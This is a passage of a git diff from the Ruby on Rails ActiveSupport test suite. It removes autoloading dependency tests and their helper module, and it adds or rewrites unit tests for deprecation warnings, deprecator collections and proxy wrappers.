-                              }.map(&:to_s)
-
-      Object.const_set :OuterAfter, 30
-    end
-
-    assert_equal ["OuterAfter", "OuterBefore"], outer.sort.map(&:to_s)
-    assert ActiveSupport::Dependencies.constant_watch_stack.all? { |k, v| v.empty? }
-  ensure
-    remove_constants(:OuterBefore, :Inner, :OuterAfter)
-  end
-
-  def test_new_constants_in_module
-    Object.const_set :M, Module.new
-
-    outer = ActiveSupport::Dependencies.new_constants_in(M) do
-      M.const_set :OuterBefore, 10
-
-      inner = ActiveSupport::Dependencies.new_constants_in(M) do
-        M.const_set :Inner, 20
-      end
-      assert_equal ["M::Inner"], inner
-
-      M.const_set :OuterAfter, 30
-    end
-    assert_equal ["M::OuterAfter", "M::OuterBefore"], outer.sort
-    assert ActiveSupport::Dependencies.constant_watch_stack.all? { |k, v| v.empty? }
-  ensure
-    remove_constants(:M)
-  end
-
-  def test_new_constants_in_module_using_name
-    outer = ActiveSupport::Dependencies.new_constants_in(:M) do
-      Object.const_set :M, Module.new
-      M.const_set :OuterBefore, 10
-
-      inner = ActiveSupport::Dependencies.new_constants_in(:M) do
-        M.const_set :Inner, 20
-      end
-      assert_equal ["M::Inner"], inner
-
-      M.const_set :OuterAfter, 30
-    end
-    assert_equal ["M::OuterAfter", "M::OuterBefore"], outer.sort
-    assert ActiveSupport::Dependencies.constant_watch_stack.all? { |k, v| v.empty? }
-  ensure
-    remove_constants(:M)
-  end
-
-  def test_new_constants_in_with_inherited_constants
-    m = ActiveSupport::Dependencies.new_constants_in(:Object) do
-      Object.class_eval { include ModuleWithConstant }
-    end
-    assert_equal [], m
-  end
-
-  def test_new_constants_in_with_illegal_module_name_raises_correct_error
-    assert_raise(NameError) do
-      ActiveSupport::Dependencies.new_constants_in("Illegal-Name") {}
-    end
-  end
-
-  def test_file_with_multiple_constants_and_require_dependency
-    with_autoloading_fixtures do
-      assert_not defined?(MultipleConstantFile)
-      assert_not defined?(SiblingConstant)
-
-      require_dependency "multiple_constant_file"
-      assert defined?(MultipleConstantFile)
-      assert defined?(SiblingConstant)
-      assert ActiveSupport::Dependencies.autoloaded?(:MultipleConstantFile)
-      assert ActiveSupport::Dependencies.autoloaded?(:SiblingConstant)
-      ActiveSupport::Dependencies.clear
-
-      assert_not defined?(MultipleConstantFile)
-      assert_not defined?(SiblingConstant)
-    end
-  ensure
-    remove_constants(:MultipleConstantFile, :SiblingConstant)
-  end
-
-  def test_file_with_multiple_constants_and_auto_loading
-    with_autoloading_fixtures do
-      assert_not defined?(MultipleConstantFile)
-      assert_not defined?(SiblingConstant)
-
-      assert_equal 10, MultipleConstantFile
-
-      assert defined?(MultipleConstantFile)
-      assert defined?(SiblingConstant)
-      assert ActiveSupport::Dependencies.autoloaded?(:MultipleConstantFile)
-      assert ActiveSupport::Dependencies.autoloaded?(:SiblingConstant)
-
-      ActiveSupport::Dependencies.clear
-
-      assert_not defined?(MultipleConstantFile)
-      assert_not defined?(SiblingConstant)
-    end
-  ensure
-    remove_constants(:MultipleConstantFile, :SiblingConstant)
-  end
-
-  def test_nested_file_with_multiple_constants_and_require_dependency
-    with_autoloading_fixtures do
-      assert_not defined?(ClassFolder::NestedClass)
-      assert_not defined?(ClassFolder::SiblingClass)
-
-      require_dependency "class_folder/nested_class"
-
-      assert defined?(ClassFolder::NestedClass)
-      assert defined?(ClassFolder::SiblingClass)
-      assert ActiveSupport::Dependencies.autoloaded?("ClassFolder::NestedClass")
-      assert ActiveSupport::Dependencies.autoloaded?("ClassFolder::SiblingClass")
-
-      ActiveSupport::Dependencies.clear
-
-      assert_not defined?(ClassFolder::NestedClass)
-      assert_not defined?(ClassFolder::SiblingClass)
-    end
-  ensure
-    remove_constants(:ClassFolder)
-  end
-
-  def test_nested_file_with_multiple_constants_and_auto_loading
-    with_autoloading_fixtures do
-      assert_not defined?(ClassFolder::NestedClass)
-      assert_not defined?(ClassFolder::SiblingClass)
-
-      assert_kind_of Class, ClassFolder::NestedClass
-
-      assert defined?(ClassFolder::NestedClass)
-      assert defined?(ClassFolder::SiblingClass)
-      assert ActiveSupport::Dependencies.autoloaded?("ClassFolder::NestedClass")
-      assert ActiveSupport::Dependencies.autoloaded?("ClassFolder::SiblingClass")
-
-      ActiveSupport::Dependencies.clear
-
-      assert_not defined?(ClassFolder::NestedClass)
-      assert_not defined?(ClassFolder::SiblingClass)
-    end
-  ensure
-    remove_constants(:ClassFolder)
-  end
-
-  def test_autoload_doesnt_shadow_no_method_error_with_relative_constant
-    with_autoloading_fixtures do
-      assert !defined?(::RaisesNoMethodError), "::RaisesNoMethodError is defined but it hasn't been referenced yet!"
-      2.times do
-        assert_raise(NoMethodError) { RaisesNoMethodError }
-        assert !defined?(::RaisesNoMethodError), "::RaisesNoMethodError is defined but it should have failed!"
-      end
-    end
-  ensure
-    remove_constants(:RaisesNoMethodError)
-  end
-
-  def test_autoload_doesnt_shadow_no_method_error_with_absolute_constant
-    with_autoloading_fixtures do
-      assert !defined?(::RaisesNoMethodError), "::RaisesNoMethodError is defined but it hasn't been referenced yet!"
-      2.times do
-        assert_raise(NoMethodError) { ::RaisesNoMethodError }
-        assert !defined?(::RaisesNoMethodError), "::RaisesNoMethodError is defined but it should have failed!"
-      end
-    end
-  ensure
-    remove_constants(:RaisesNoMethodError)
-  end
-
-  def test_autoload_doesnt_shadow_error_when_mechanism_not_set_to_load
-    with_autoloading_fixtures do
-      ActiveSupport::Dependencies.mechanism = :require
-      2.times do
-        assert_raise(NameError) { assert_equal 123, ::RaisesNameError::FooBarBaz }
-      end
-    end
-  ensure
-    remove_constants(:RaisesNameError)
-  end
-
-  def test_autoload_doesnt_shadow_name_error
-    with_autoloading_fixtures do
-      2.times do
-        e = assert_raise NameError do
-          ::RaisesNameError::FooBarBaz.object_id
-        end
-        assert_equal "uninitialized constant RaisesNameError::FooBarBaz", e.message
-        assert !defined?(::RaisesNameError), "::RaisesNameError is defined but it should have failed!"
-      end
-
-      assert !defined?(::RaisesNameError)
-      2.times do
-        assert_raise(NameError) { ::RaisesNameError }
-        assert !defined?(::RaisesNameError), "::RaisesNameError is defined but it should have failed!"
-      end
-    end
-  ensure
-    remove_constants(:RaisesNameError)
-  end
-
-  def test_remove_constant_handles_double_colon_at_start
-    Object.const_set "DeleteMe", Module.new
-    DeleteMe.const_set "OrMe", Module.new
-    ActiveSupport::Dependencies.remove_constant "::DeleteMe::OrMe"
-    assert_not defined?(DeleteMe::OrMe)
-    assert defined?(DeleteMe)
-    ActiveSupport::Dependencies.remove_constant "::DeleteMe"
-    assert_not defined?(DeleteMe)
-  ensure
-    remove_constants(:DeleteMe)
-  end
-
-  def test_remove_constant_does_not_trigger_loading_autoloads
-    constant = "ShouldNotBeAutoloaded"
-    Object.class_eval do
-      autoload constant, File.expand_path("../autoloading_fixtures/should_not_be_required", __FILE__)
-    end
-
-    assert_nil ActiveSupport::Dependencies.remove_constant(constant), "Kernel#autoload has been triggered by remove_constant"
-    assert_not defined?(ShouldNotBeAutoloaded)
-  ensure
-    remove_constants(constant)
-  end
-
-  def test_remove_constant_does_not_autoload_already_removed_parents_as_a_side_effect
-    with_autoloading_fixtures do
-      _ = ::A    # assignment to silence parse-time warning "possibly useless use of :: in void context"
-      _ = ::A::B # assignment to silence parse-time warning "possibly useless use of :: in void context"
-      ActiveSupport::Dependencies.remove_constant("A")
-      ActiveSupport::Dependencies.remove_constant("A::B")
-      assert_not defined?(A)
-    end
-  ensure
-    remove_constants(:A)
-  end
-
-  def test_load_once_constants_should_not_be_unloaded
-    old_path = ActiveSupport::Dependencies.autoload_once_paths
-    with_autoloading_fixtures do
-      ActiveSupport::Dependencies.autoload_once_paths = ActiveSupport::Dependencies.autoload_paths
-      _ = ::A # assignment to silence parse-time warning "possibly useless use of :: in void context"
-      assert defined?(A)
-      ActiveSupport::Dependencies.clear
-      assert defined?(A)
-    end
-  ensure
-    ActiveSupport::Dependencies.autoload_once_paths = old_path
-    remove_constants(:A)
-  end
-
-  def test_access_unloaded_constants_for_reload
-    with_autoloading_fixtures do
-      assert_kind_of Module, A
-      assert_kind_of Class, A::B # Necessary to load A::B for the test
-      ActiveSupport::Dependencies.mark_for_unload(A::B)
-      ActiveSupport::Dependencies.remove_unloadable_constants!
-
-      A::B # Make sure no circular dependency error
-    end
-  ensure
-    remove_constants(:A)
-  end
-
-  def test_autoload_once_paths_should_behave_when_recursively_loading
-    old_path = ActiveSupport::Dependencies.autoload_once_paths
-    with_loading "dependencies", "autoloading_fixtures" do
-      ActiveSupport::Dependencies.autoload_once_paths = [ActiveSupport::Dependencies.autoload_paths.last]
-      assert_not defined?(CrossSiteDependency)
-      assert_nothing_raised { CrossSiteDepender.nil? }
-      assert defined?(CrossSiteDependency)
-      assert_not ActiveSupport::Dependencies.autoloaded?(CrossSiteDependency),
-        "CrossSiteDependency shouldn't be marked as autoloaded!"
-      ActiveSupport::Dependencies.clear
-      assert defined?(CrossSiteDependency),
-        "CrossSiteDependency shouldn't have been unloaded!"
-    end
-  ensure
-    ActiveSupport::Dependencies.autoload_once_paths = old_path
-    remove_constants(:CrossSiteDependency)
-  end
-
-  def test_hook_called_multiple_times
-    assert_nothing_raised { ActiveSupport::Dependencies.hook! }
-  end
-
-  def test_load_and_require_stay_private
-    assert_includes Object.private_methods, :load
-    assert_includes Object.private_methods, :require
-
-    ActiveSupport::Dependencies.unhook!
-
-    assert_includes Object.private_methods, :load
-    assert_includes Object.private_methods, :require
-  ensure
-    ActiveSupport::Dependencies.hook!
+  test "require_dependency raises LoadError if the given argument is not found" do
+    assert_raise(LoadError) { require_dependency("nonexistent_filename") }
   end
 end
diff --git a/activesupport/test/dependencies_test_helpers.rb b/activesupport/test/dependencies_test_helpers.rb
deleted file mode 100644
index 9bc63ed89e3b9..0000000000000
--- a/activesupport/test/dependencies_test_helpers.rb
+++ /dev/null
@@ -1,28 +0,0 @@
-module DependenciesTestHelpers
-  def with_loading(*from)
-    old_mechanism, ActiveSupport::Dependencies.mechanism = ActiveSupport::Dependencies.mechanism, :load
-    this_dir = File.dirname(__FILE__)
-    parent_dir = File.dirname(this_dir)
-    path_copy = $LOAD_PATH.dup
-    $LOAD_PATH.unshift(parent_dir) unless $LOAD_PATH.include?(parent_dir)
-    prior_autoload_paths = ActiveSupport::Dependencies.autoload_paths
-    ActiveSupport::Dependencies.autoload_paths = from.collect { |f| "#{this_dir}/#{f}" }
-    yield
-  ensure
-    $LOAD_PATH.replace(path_copy)
-    ActiveSupport::Dependencies.autoload_paths = prior_autoload_paths
-    ActiveSupport::Dependencies.mechanism = old_mechanism
-    ActiveSupport::Dependencies.explicitly_unloadable_constants = []
-    ActiveSupport::Dependencies.clear
-  end
-
-  def with_autoloading_fixtures(&block)
-    with_loading "autoloading_fixtures", &block
-  end
-
-  def remove_constants(*constants)
-    constants.each do |constant|
-      Object.send(:remove_const, constant) if Object.const_defined?(constant)
-    end
-  end
-end
diff --git a/activesupport/test/deprecation/deprecators_test.rb b/activesupport/test/deprecation/deprecators_test.rb
new file mode 100644
index 0000000000000..1f657a08b18c1
--- /dev/null
+++ b/activesupport/test/deprecation/deprecators_test.rb
@@ -0,0 +1,135 @@
+# frozen_string_literal: true
+
+require_relative "../abstract_unit"
+
+class DeprecationTest < ActiveSupport::TestCase
+  setup do
+    @deprecator_names = [:fubar, :foo, :bar]
+    @deprecators = ActiveSupport::Deprecation::Deprecators.new
+    @deprecator_names.each do |name|
+      @deprecators[name] = ActiveSupport::Deprecation.new("2.0", name.to_s)
+    end
+  end
+
+  test "#[] gets an individual deprecator" do
+    @deprecator_names.each do |name|
+      assert_equal name.to_s, @deprecators[name].gem_name
+    end
+  end
+
+  test "#each iterates over each deprecator" do
+    gem_names = []
+    @deprecators.each { |deprecator| gem_names << deprecator.gem_name }
+
+    assert_equal @deprecator_names.map(&:to_s).sort, gem_names.sort
+  end
+
+  test "#each without block returns an Enumerator" do
+    assert_kind_of Enumerator, @deprecators.each
+    assert_equal @deprecator_names.map(&:to_s).sort, @deprecators.each.map(&:gem_name).sort
+  end
+
+  test "#silenced= applies to each deprecator" do
+    @deprecators.each { |deprecator| assert_not_predicate deprecator, :silenced }
+
+    @deprecators.silenced = true
+    @deprecators.each { |deprecator| assert_predicate deprecator, :silenced }
+
+    @deprecators.silenced = false
+    @deprecators.each { |deprecator| assert_not_predicate deprecator, :silenced }
+  end
+
+  test "#debug= applies to each deprecator" do
+    @deprecators.each { |deprecator| assert_not_predicate deprecator, :debug }
+
+    @deprecators.debug = true
+    @deprecators.each { |deprecator| assert_predicate deprecator, :debug }
+
+    @deprecators.debug = false
+    @deprecators.each { |deprecator| assert_not_predicate deprecator, :debug }
+  end
+
+  test "#behavior= applies to each deprecator" do
+    callback = proc { }
+
+    @deprecators.behavior = callback
+    @deprecators.each { |deprecator| assert_equal [callback], deprecator.behavior }
+  end
+
+  test "#disallowed_behavior= applies to each deprecator" do
+    callback = proc { }
+
+    @deprecators.disallowed_behavior = callback
+    @deprecators.each { |deprecator| assert_equal [callback], deprecator.disallowed_behavior }
+  end
+
+  test "#disallowed_warnings= applies to each deprecator" do
+    @deprecators.disallowed_warnings = :all
+    @deprecators.each { |deprecator| assert_equal :all, deprecator.disallowed_warnings }
+  end
+
+  test "#silence silences each deprecator" do
+    @deprecators.each { |deprecator| assert_not_silencing(deprecator) }
+
+    @deprecators.silence do
+      @deprecators.each { |deprecator| assert_silencing(deprecator) }
+    end
+
+    @deprecators.each { |deprecator| assert_not_silencing(deprecator) }
+  end
+
+  test "#silence returns the result of the block" do
+    assert_equal 123, @deprecators.silence { 123 }
+  end
+
+  test "#silence ensures silencing is reverted after an error is raised" do
+    assert_raises do
+      @deprecators.silence { raise }
+    end
+
+    @deprecators.each { |deprecator| assert_not_silencing(deprecator) }
+  end
+
+  test "#silence blocks can be nested" do
+    @deprecators.each { |deprecator| assert_not_silencing(deprecator) }
+
+    @deprecators.silence do
+      @deprecators.each { |deprecator| assert_silencing(deprecator) }
+
+      @deprecators.silence do
+        @deprecators.each { |deprecator| assert_silencing(deprecator) }
+      end
+
+      @deprecators.each { |deprecator| assert_silencing(deprecator) }
+    end
+
+    @deprecators.each { |deprecator| assert_not_silencing(deprecator) }
+  end
+
+  test "#silence only affects the current thread" do
+    @deprecators.silence do
+      @deprecators.each { |deprecator| assert_silencing(deprecator) }
+
+      Thread.new do
+        @deprecators.each { |deprecator| assert_not_silencing(deprecator) }
+
+        @deprecators.silence do
+          @deprecators.each { |deprecator| assert_silencing(deprecator) }
+        end
+
+        @deprecators.each { |deprecator| assert_not_silencing(deprecator) }
+      end.join
+
+      @deprecators.each { |deprecator| assert_silencing(deprecator) }
+    end
+  end
+
+  private
+    def assert_silencing(deprecator)
+      assert_not_deprecated(deprecator) { deprecator.warn }
+    end
+
+    def assert_not_silencing(deprecator)
+      assert_deprecated(deprecator) { deprecator.warn }
+    end
+end
diff --git a/activesupport/test/deprecation/method_wrappers_test.rb b/activesupport/test/deprecation/method_wrappers_test.rb
index 85d057bb022ef..2d5a44561a6c7 100644
--- a/activesupport/test/deprecation/method_wrappers_test.rb
+++ b/activesupport/test/deprecation/method_wrappers_test.rb
@@ -1,4 +1,6 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "../abstract_unit"
 require "active_support/deprecation"
 
 class MethodWrappersTest < ActiveSupport::TestCase
@@ -6,29 +8,85 @@ def setup
     @klass = Class.new do
       def new_method; "abc" end
       alias_method :old_method, :new_method
+
+      protected
+        def new_protected_method; "abc" end
+        alias_method :old_protected_method, :new_protected_method
+
+      private
+        def new_private_method; "abc" end
+        alias_method :old_private_method, :new_private_method
+    end
+
+    @deprecator = ActiveSupport::Deprecation.new
+  end
+
+  def test_deprecate_methods_without_alternate_method
+    @deprecator.deprecate_methods(@klass, :old_method)
+
+    assert_deprecated("old_method", @deprecator) do
+      assert_equal @klass.new.new_method, @klass.new.old_method
     end
   end
 
   def test_deprecate_methods_warning_default
-    warning = /old_method is deprecated and will be removed from Rails \d.\d \(use new_method instead\)/
-    ActiveSupport::Deprecation.deprecate_methods(@klass, old_method: :new_method)
+    @deprecator.deprecate_methods(@klass, old_method: :new_method)
 
-    assert_deprecated(warning) { assert_equal "abc", @klass.new.old_method }
+    assert_deprecated(/old_method .* \(use new_method instead\)/, @deprecator) do
+      assert_equal @klass.new.new_method, @klass.new.old_method
+    end
   end
 
   def test_deprecate_methods_warning_with_optional_deprecator
-    warning = /old_method is deprecated and will be removed from MyGem next-release \(use new_method instead\)/
-    deprecator = ActiveSupport::Deprecation.new("next-release", "MyGem")
-    ActiveSupport::Deprecation.deprecate_methods(@klass, old_method: :new_method, deprecator: deprecator)
+    @deprecator = ActiveSupport::Deprecation.new("next-release", "MyGem")
+    other_deprecator = ActiveSupport::Deprecation.new
+    other_deprecator.deprecate_methods(@klass, :old_method, deprecator: @deprecator)
+
+    assert_deprecated(/old_method .* MyGem next-release/, @deprecator) do
+      assert_not_deprecated(other_deprecator) do
+        assert_equal @klass.new.new_method, @klass.new.old_method
+      end
+    end
+  end
 
-    assert_deprecated(warning, deprecator) { assert_equal "abc", @klass.new.old_method }
+  def test_deprecate_methods_protected_method
+    @deprecator.deprecate_methods(@klass, old_protected_method: :new_protected_method)
+
+    assert(@klass.protected_method_defined?(:old_protected_method))
+  end
+
+  def test_deprecate_methods_private_method
+    @deprecator.deprecate_methods(@klass, old_private_method: :new_private_method)
+
+    assert(@klass.private_method_defined?(:old_private_method))
+  end
+
+  def test_deprecate_class_method
+    mod = Module.new do
+      extend self
+
+      def old_method
+        "abc"
+      end
+    end
+    @deprecator.deprecate_methods(mod, :old_method)
+
+    assert_deprecated("old_method", @deprecator) do
+      assert_equal "abc", mod.old_method
+    end
   end
 
-  def test_deprecate_methods_warning_when_deprecated_with_custom_deprecator
-    warning = /old_method is deprecated and will be removed from MyGem next-release \(use new_method instead\)/
-    deprecator = ActiveSupport::Deprecation.new("next-release", "MyGem")
-    deprecator.deprecate_methods(@klass, old_method: :new_method)
+  def test_deprecate_method_when_class_extends_module
+    mod = Module.new do
+      def old_method
+        "abc"
+      end
+    end
+    klass = Class.new { extend mod }
+    @deprecator.deprecate_methods(mod, :old_method)
 
-    assert_deprecated(warning, deprecator) { assert_equal "abc", @klass.new.old_method }
+    assert_deprecated("old_method", @deprecator) do
+      assert_equal "abc", klass.old_method
+    end
   end
 end
diff --git a/activesupport/test/deprecation/proxy_wrappers_test.rb b/activesupport/test/deprecation/proxy_wrappers_test.rb
index 67afd75c44d1d..bf324440c8c2c 100644
--- a/activesupport/test/deprecation/proxy_wrappers_test.rb
+++ b/activesupport/test/deprecation/proxy_wrappers_test.rb
@@ -1,22 +1,65 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "../abstract_unit"
 require "active_support/deprecation"
 
 class ProxyWrappersTest < ActiveSupport::TestCase
   Waffles     = false
   NewWaffles  = :hamburgers
 
+  module WaffleModule
+    def waffle?
+      true
+    end
+  end
+
+  def setup
+    @deprecator = ActiveSupport::Deprecation.new
+  end
+
   def test_deprecated_object_proxy_doesnt_wrap_falsy_objects
     proxy = ActiveSupport::Deprecation::DeprecatedObjectProxy.new(nil, "message")
-    assert !proxy
+    assert_not proxy
   end
 
   def test_deprecated_instance_variable_proxy_doesnt_wrap_falsy_objects
     proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(nil, :waffles)
-    assert !proxy
+    assert_not proxy
   end
 
   def test_deprecated_constant_proxy_doesnt_wrap_falsy_objects
     proxy = ActiveSupport::Deprecation::DeprecatedConstantProxy.new(Waffles, NewWaffles)
-    assert !proxy
+    assert_not proxy
+  end
+
+  def test_including_proxy_module
+    proxy = ActiveSupport::Deprecation::DeprecatedConstantProxy.new("OldWaffleModule", WaffleModule.name, @deprecator)
+    klass = Class.new
+    assert_deprecated("OldWaffleModule", @deprecator) do
+      klass.include proxy
+    end
+    assert_predicate klass.new, :waffle?
+  end
+
+  def test_prepending_proxy_module
+    proxy = ActiveSupport::Deprecation::DeprecatedConstantProxy.new("OldWaffleModule", WaffleModule.name, @deprecator)
+    klass = Class.new do
+      def waffle?
+        false
+      end
+    end
+    assert_deprecated("OldWaffleModule", @deprecator) do
+      klass.prepend proxy
+    end
+    assert_predicate klass.new, :waffle?
+  end
+
+  def test_extending_proxy_module
+    proxy = ActiveSupport::Deprecation::DeprecatedConstantProxy.new("OldWaffleModule", WaffleModule.name, @deprecator)
+    obj = Object.new
+    assert_deprecated("OldWaffleModule", @deprecator) do
+      obj.extend proxy
+    end
+    assert_predicate obj, :waffle?
   end
 end
diff --git a/activesupport/test/deprecation_test.rb b/activesupport/test/deprecation_test.rb
index 5f72fbf6626a8..6e263285e6c6b 100644
--- a/activesupport/test/deprecation_test.rb
+++ b/activesupport/test/deprecation_test.rb
@@ -1,248 +1,498 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "abstract_unit"
+require "logger"
+require "stringio"
+require "active_support/core_ext/enumerable"
 require "active_support/testing/stream"
 
 class Deprecatee
-  def initialize
-    @request = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(self, :request)
-    @_request = "there we go"
-  end
-  def request; @_request end
-  def old_request; @request end
+  attr_accessor :fubar, :foo_bar
 
-  def partially(foo = nil)
-    ActiveSupport::Deprecation.warn("calling with foo=nil is out") if foo.nil?
-  end
-
-  def not() 2 end
-  def none() 1 end
+  def zero() 0 end
   def one(a) a end
   def multi(a, b, c) [a, b, c] end
-  deprecate :none, :one, :multi
-
-  def a; end
-  def b; end
-  def c; end
-  def d; end
-  def e; end
-  deprecate :a, :b, c: :e, d: "you now need to do something extra for this one"
-
-  def f=(v); end
-  deprecate :f=
+end
 
-  module B
-    C = 1
+module Undeprecated
+  module Foo
+    BAR = "foo bar"
   end
-  A = ActiveSupport::Deprecation::DeprecatedConstantProxy.new("Deprecatee::A", "Deprecatee::B::C")
+
+  class Error < StandardError; end
 end
 
 class DeprecationTest < ActiveSupport::TestCase
   include ActiveSupport::Testing::Stream
 
   def setup
-    # Track the last warning.
-    @old_behavior = ActiveSupport::Deprecation.behavior
-    @last_message = nil
-    ActiveSupport::Deprecation.behavior = Proc.new { |message| @last_message = message }
+    @deprecator = ActiveSupport::Deprecation.new
+  end
 
-    @dtc = Deprecatee.new
+  test "assert_deprecated" do
+    assert_deprecated(/fubar/, @deprecator) do
+      @deprecator.warn("using fubar is deprecated")
+    end
+
+    assert_deprecated(@deprecator) do
+      @deprecator.warn("whatever")
+    end
   end
 
-  def teardown
-    ActiveSupport::Deprecation.behavior = @old_behavior
+  test "assert_deprecated requires a deprecator" do
+    assert_raises(ArgumentError) do
+      assert_deprecated do
+        ActiveSupport::Deprecation._instance.warn
+      end
+    end
   end
 
-  def test_inline_deprecation_warning
-    assert_deprecated(/foo=nil/) do
-      @dtc.partially
+  test "assert_not_deprecated" do
+    assert_not_deprecated(@deprecator) do
+      1 + 1
     end
   end
 
-  def test_undeprecated
-    assert_not_deprecated do
-      assert_equal 2, @dtc.not
+  test "assert_not_deprecated requires a deprecator" do
+    assert_raises(ArgumentError) do
+      assert_not_deprecated { }
     end
   end
 
-  def test_deprecate_class_method
-    assert_deprecated(/none is deprecated/) do
-      assert_equal 1, @dtc.none
+  test "collect_deprecations returns the return value of the block and the deprecations collected" do
+    result = collect_deprecations(@deprecator) do
+      @deprecator.warn
+      :result
     end
+    assert_equal 2, result.size
+    assert_equal :result, result.first
+    assert_match "DEPRECATION WARNING:", result.last.sole
+  end
 
-    assert_deprecated(/one is deprecated/) do
-      assert_equal 1, @dtc.one(1)
+  test "collect_deprecations requires a deprecator" do
+    assert_raises(ArgumentError) do
+      collect_deprecations { }
     end
+  end
+
+  test "Module::deprecate" do
+    klass = Class.new(Deprecatee)
+    klass.deprecate :zero, :one, :multi, deprecator: @deprecator
 
-    assert_deprecated(/multi is deprecated/) do
-      assert_equal [1, 2, 3], @dtc.multi(1, 2, 3)
+    assert_deprecated(/zero is deprecated/, @deprecator) do
+      assert_equal 0, klass.new.zero
     end
+
+    assert_deprecated(/one is deprecated/, @deprecator) do
+      assert_equal 1, klass.new.one(1)
+    end
+
+    assert_deprecated(/multi is deprecated/, @deprecator) do
+      assert_equal [1, 2, 3], klass.new.multi(1, 2, 3)
+    end
+  end
+
+  test "Module::deprecate does not expand Hash positional argument" do
+    klass = Class.new(Deprecatee)
+    klass.deprecate :one, :one!, deprecator: @deprecator
+    klass.alias_method :one!, :one
+
+    hash = { k: 1 }
+
+    assert_deprecated(/one is deprecated/, @deprecator) do
+      assert_same hash, klass.new.one(hash)
+    end
+
+    assert_deprecated(/one! is deprecated/, @deprecator) do
+      assert_same hash, klass.new.one!(hash)
+    end
+  end
+
+  test "Module::deprecate requires a deprecator" do
+    klass = Class.new(Deprecatee)
+    assert_raises(ArgumentError) do
+      klass.deprecate :zero
+    end
+  end
+
+  test "DeprecatedObjectProxy" do
+    deprecated_object = ActiveSupport::Deprecation::DeprecatedObjectProxy.new(Object.new, ":bomb:", @deprecator)
+    assert_deprecated(/:bomb:/, @deprecator) { deprecated_object.to_s }
   end
 
-  def test_deprecate_object
-    deprecated_object = ActiveSupport::Deprecation::DeprecatedObjectProxy.new(Object.new, ":bomb:")
-    assert_deprecated(/:bomb:/) { deprecated_object.to_s }
+  test "DeprecatedObjectProxy requires a deprecator" do
+    assert_raises(ArgumentError) do
+      ActiveSupport::Deprecation::DeprecatedObjectProxy.new(Object.new, ":bomb:")
+    end
   end
 
-  def test_nil_behavior_is_ignored
-    ActiveSupport::Deprecation.behavior = nil
-    assert_deprecated(/foo=nil/) { @dtc.partially }
+  test "nil behavior is ignored" do
+    @deprecator.behavior = nil
+    assert_deprecated("fubar", @deprecator) { @deprecator.warn("fubar") }
   end
 
-  def test_several_behaviors
-    @a, @b = nil, nil
+  test "behavior callbacks" do
+    assert_callbacks_called_with(deprecator: @deprecator, message: /fubar/) do |callbacks|
+      @deprecator.behavior = callbacks
+      @deprecator.warn("fubar")
+    end
+  end
 
-    ActiveSupport::Deprecation.behavior = [
-      Proc.new { |msg, callstack| @a = msg },
-      Proc.new { |msg, callstack| @b = msg }
-    ]
+  test "behavior callbacks with callable objects" do
+    assert_callbacks_called_with(deprecator: @deprecator, message: /fubar/) do |callbacks|
+      callbacks.select!(&:lambda?)
+      assert_not_empty callbacks
 
-    @dtc.partially
-    assert_match(/foo=nil/, @a)
-    assert_match(/foo=nil/, @b)
+      @deprecator.behavior = callbacks.map do |callback|
+        Object.new.tap { |object| object.define_singleton_method(:call, &callback) }
+      end
+      @deprecator.warn("fubar")
+    end
   end
 
-  def test_raise_behaviour
-    ActiveSupport::Deprecation.behavior = :raise
+  test ":raise behavior" do
+    @deprecator.behavior = :raise
 
     message   = "Revise this deprecated stuff now!"
     callstack = caller_locations
 
     e = assert_raise ActiveSupport::DeprecationException do
-      ActiveSupport::Deprecation.behavior.first.call(message, callstack)
+      @deprecator.behavior.first.call(message, callstack, @deprecator)
     end
     assert_equal message, e.message
     assert_equal callstack.map(&:to_s), e.backtrace.map(&:to_s)
   end
 
-  def test_default_stderr_behavior
-    ActiveSupport::Deprecation.behavior = :stderr
-    behavior = ActiveSupport::Deprecation.behavior.first
+  test ":stderr behavior" do
+    @deprecator.behavior = :stderr
+    behavior = @deprecator.behavior.first
 
-    content = capture(:stderr) {
-      assert_nil behavior.call("Some error!", ["call stack!"])
-    }
-    assert_match(/Some error!/, content)
-    assert_match(/call stack!/, content)
+    output = capture(:stderr) do
+      behavior.call("Some error!", ["call stack!"], @deprecator)
+    end
+
+    assert_match "Some error!", output
+    assert_no_match "call stack!", output
   end
 
-  def test_default_stderr_behavior_with_warn_method
-    ActiveSupport::Deprecation.behavior = :stderr
+  test ":stderr behavior with debug" do
+    @deprecator.behavior = :stderr
+    behavior = @deprecator.behavior.first
+    @deprecator.debug = true
 
-    content = capture(:stderr) {
-      ActiveSupport::Deprecation.warn("Instance error!", ["instance call stack!"])
-    }
+    output = capture(:stderr) do
+      behavior.call("Some error!", ["call stack!"], @deprecator)
+    end
+
+    assert_match "Some error!", output
+    assert_match "call stack!", output
+  end
+
+  class CallerLocation
+    attr_reader :path, :lineno, :label
+    alias_method :absolute_path, :path
+
+    def initialize(label, lineno)
+      @path = __FILE__
+      @lineno = lineno
+      @label = label
+    end
+  end
+
+  test ":stderr behavior with #warn" do
+    @deprecator.behavior = :stderr
+
+    output = capture(:stderr) do
+      @deprecator.warn("Instance error!", [CallerLocation.new("instance call stack!", __LINE__)])
+    end
+
+    assert_match(/Instance error!/, output)
+    assert_match(/instance call stack!/, output)
+  end
+
+  test ":log behavior" do
+    @deprecator.behavior = :log
+    output = StringIO.new
+
+    with_rails_logger(Logger.new(output)) do
+      @deprecator.behavior.first.call("fubar", ["call stack!"], @deprecator)
+    end
+
+    assert_match "fubar", output.string
+    assert_no_match "call stack!", output.string
+  end
+
+  test ":log behavior with debug" do
+    @deprecator.behavior = :log
+    @deprecator.debug = true
+    output = StringIO.new
+
+    with_rails_logger(Logger.new(output)) do
+      @deprecator.behavior.first.call("fubar", ["call stack!"], @deprecator)
+    end
+
+    assert_match "fubar", output.string
+    assert_match "call stack!", output.string
+  end
+
+  test ":log behavior without Rails.logger" do
+    @deprecator.behavior = :log
+
+    output = capture(:stderr) do
+      with_rails_logger(nil) do
+        @deprecator.behavior.first.call("fubar", ["call stack!"], @deprecator)
+      end
+    end
 
-    assert_match(/Instance error!/, content)
-    assert_match(/instance call stack!/, content)
+    assert_match "fubar", output
   end
 
-  def test_default_silence_behavior
-    ActiveSupport::Deprecation.behavior = :silence
-    behavior = ActiveSupport::Deprecation.behavior.first
+  test ":silence behavior" do
+    @deprecator.behavior = :silence
+    behavior = @deprecator.behavior.first
 
